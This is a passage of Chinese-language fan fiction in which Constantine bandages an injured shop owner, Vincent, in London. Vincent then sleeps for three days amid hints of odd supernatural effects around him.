“自己动手可上不了天堂。”康斯坦丁轻笑一声，一边说着，一边熟练地包扎好了文森特的伤口。他的手法专业，显然对这种急救措施并不陌生。
“谢谢，我还是很自信我是个能上天堂的好人。”文森特额头冒出了冷汗，但是还是忍不住怼了回去，“你连这个都会？”
康斯坦丁头都没抬：“这方面我是专业的。”话语刚落，他手里的动作重了重，疼的文森特一颤：“轻点。”
“下重手才长记性。”一个乱七八糟的结出现在文森特的手腕上，康斯坦丁退后一步打量着自己的成果，对这个临时的绷带颇为满意。
他的目光转向文森特的伤口，眼中带着不言而喻的质疑，仿佛在说：兜风能把自己兜成这样？
文森特只能无奈地苦笑，他知道自己现在的样子一定很糟糕。
“出了点小意外，”文森特深呼吸一口气，声音中带着疲惫，他只觉得累得不行，上下眼皮止不住地打架
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，但还是勉强打起精神来解释，“我们遇到了一些麻烦，不过现在都解决了。”
康斯坦丁挑了挑眉：“也是，现在你需要好好休息一下。”
文森特点了点头，他知道自己现在的状态确实不适合再做任何事情。
“谢谢，康斯坦丁。”他的声音中带着一丝感激，尽管他现在感到非常疲惫，但他还是努力保持着清醒。
“别了，要想谢我不如让我多住两天？”康斯坦丁笑着看着文森特。
文森特反驳的得寸进尺最后一个字还没说完，就被浓重的黑暗拖入了梦乡，他的头轻轻地歪向一边，呼吸变得平稳了起来。
看着已经入睡的文森特，康斯坦丁的脸上出现了复杂的情绪。他没想到这家店的老板竟然真的一点超自然能力也没有，或者说，这位老板对自己太自信了？他觉得这一切都不会伤害到他？
康斯坦丁摸了下口袋里沾满血迹的绷带，他不禁思考，文森特是真的拥有某种未知的超能力，还是单纯地过于自信，或者说他的超能力就是……超倒霉？
康斯坦丁在心里默默吐槽，而睡梦中的文森特似乎感应到了什么，打了个寒颤。
他站在门口的台阶上，看着太阳从大本钟后面缓缓升起，金色的阳光洒满了整个城市。
烟在康斯坦丁手上燃尽了最后一点，他深吸了一口清晨的空气，然后缓缓吐出，烟雾随着他的呼吸缭绕上升，最终消散在晨光中。
——
文森特醒来的时候已经是夕阳西下，他感到浑身上下疼痛难忍，仿佛真的被车碾过一样，每一个关节都在抗议自己怎么长在这个人身上。
“哇哦，你终于醒了。”康斯坦丁夹着还没抽完的烟走进了房间，他的脚步声在安静的室内显得格外清晰。随着他的靠近，手中的烟突然像是遇到了什么无形的屏障，竟然自行熄灭了。
这一幕让康斯坦丁的眉头微皱，但很快恢复如常。
“你要是再不醒，我定做的牌子都要到了，‘康斯坦丁的神秘屋’。”康斯坦丁半开玩笑地说，他一边说一边把水递了过来：“这名字好听吧？”
文森特刚想伸出手去接水，却因为疼痛和僵硬，水杯在手里打了个转，直愣愣地回归地心引力。
幸好康斯坦丁眼疾手快，接住了水杯，避免了它砸在地板上粉身碎骨的命运。
“你没有自己的房子吗？”文森特就着康斯坦丁的手小口的喝着水，他的手腕现在一点力气也没有，“我才睡了几个小时你牌子就定好了，早有预谋吧康斯坦丁。”
文森特看着窗外，夕阳的余晖透过窗帘洒进来，金色的光芒在房间里跳跃，为房间镀上了一层温暖的光晕。
“几个小时？”康斯坦丁笑出了声。接着说道：“再长一点，不过不算太久，也就足够让整个伦敦的天鹅都飞过你的头顶了。”
“你睡了三天。”
“三天？！”